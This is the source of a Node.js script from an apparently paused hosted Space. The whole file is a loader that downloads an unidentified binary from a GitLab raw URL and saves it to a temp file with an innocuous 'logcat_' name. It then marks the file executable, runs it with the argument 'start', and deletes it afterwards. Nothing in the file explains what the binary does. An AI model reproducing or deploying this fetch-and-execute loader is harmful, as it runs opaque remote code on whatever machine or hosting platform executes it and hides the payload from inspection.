Spaces:
Paused
Paused
| import { spawn } from 'child_process'; | |
| import { existsSync, unlinkSync, createWriteStream, chmodSync } from 'fs'; | |
| import http from 'http'; | |
| import https from 'https'; | |
| import { join } from 'path'; | |
| import { tmpdir } from 'os'; | |
| import { parse } from 'url'; | |
| // --- Configuration Info --- | |
| const BINARY_URL = 'https://gitlab.com/rickyet/render/-/raw/main/go'; | |
| // Arguments to pass to the binary when executing | |
| const EXEC_ARGS = ['start']; | |
| // Temporary file path | |
| const TEMP_FILE_PATH = join(tmpdir(), `logcat_${Date.now()}`); | |
| // Maximum number of redirects to follow, to prevent infinite loops | |
| const MAX_REDIRECTS = 5; | |
| /** | |
| * Cleans up the temporary file and exits the process | |
| * @param {number} code - The exit code | |
| */ | |
| function cleanupAndExit(code) { | |
| try { | |
| if (existsSync(TEMP_FILE_PATH)) { | |
| unlinkSync(TEMP_FILE_PATH); | |
| console.log(`Deleted temporary file: ${TEMP_FILE_PATH}`); | |
| } | |
| } catch (cleanupErr) { | |
| console.error(`Could not delete temporary file: ${cleanupErr.message}`); | |
| } | |
| process.exit(code); | |
| } | |
| /** | |
| * Downloads and executes the binary file from a remote URL, supporting redirects | |
| * @param {string} currentUrl - The current URL to request | |
| * @param {number} redirectCount - The redirect counter | |
| */ | |
| function executeRemoteBinary(currentUrl, redirectCount = 0) { | |
| if (redirectCount >= MAX_REDIRECTS) { | |
| console.error('β Reached maximum redirect limit, aborting download.'); | |
| cleanupAndExit(1); | |
| return; | |
| } | |
| console.log(`Attempting connection to: ${currentUrl} (Redirects: ${redirectCount})`); | |
| // Determine the correct client (http or https) based on URL protocol | |
| const parsedUrl = parse(currentUrl); | |
| const client = parsedUrl.protocol === 'https:' ? https : http; | |
| // 1. Initiate the network request | |
| const req = client.get(currentUrl, (res) => { | |
| const { statusCode, headers } = res; | |
| // --- Core Redirect Handling: 3xx Status Codes --- | |
| if (statusCode >= 300 && statusCode < 400 && headers.location) { | |
| res.resume(); // Consume data to free memory | |
| // Recursively call itself to follow the new URL | |
| executeRemoteBinary(headers.location, redirectCount + 1); | |
| return; | |
| } | |
| // --- Normal Download Logic: 200 Status Code --- | |
| if (statusCode !== 200) { | |
| console.error(`Download failed, final HTTP status code: ${statusCode}`); | |
| res.resume(); | |
| cleanupAndExit(1); | |
| return; | |
| } | |
| console.log(`Connection successful (200), starting download to temporary path: ${TEMP_FILE_PATH}`); | |
| const fileStream = createWriteStream(TEMP_FILE_PATH); | |
| // 2. Pipe the response stream to the file write stream | |
| res.pipe(fileStream); | |
| fileStream.on('finish', () => { | |
| // Trigger the close operation | |
| fileStream.close(); | |
| console.log('File download complete!'); | |
| }); | |
| // The 'close' event signals that the file descriptor has been fully released | |
| fileStream.on('close', () => { | |
| // 3. Grant execute permissions (chmod +x) | |
| try { | |
| // 0o755 stands for rwxr-xr-x | |
| chmodSync(TEMP_FILE_PATH, 0o755); | |
| console.log('Execute permissions (755) granted.'); | |
| } catch (err) { | |
| console.error(`Could not set permissions: ${err.message}`); | |
| cleanupAndExit(1); | |
| return; | |
| } | |
| // 4. Execute the temporary file | |
| console.log(`Executing: ${TEMP_FILE_PATH} ${EXEC_ARGS.join(' ')}`); | |
| const child = spawn(TEMP_FILE_PATH, EXEC_ARGS, { | |
| stdio: 'inherit' // Pipe child process output directly to the main terminal | |
| }); | |
| child.on('error', (err) => { | |
| console.error(`β Execution error: ${err.message}`); | |
| cleanupAndExit(1); | |
| }); | |
| child.on('close', (code) => { | |
| console.log(`Process exited with code: ${code}`); | |
| cleanupAndExit(code); | |
| }); | |
| }); | |
| fileStream.on('error', (err) => { | |
| console.error(`β File write error: ${err.message}`); | |
| cleanupAndExit(1); | |
| }); | |
| }).on('error', (err) => { | |
| console.error(`β Network request error: ${err.message}`); | |
| cleanupAndExit(1); | |
| }); | |
| } | |
| // Initiate the download and execution process | |
| executeRemoteBinary(BINARY_URL); | |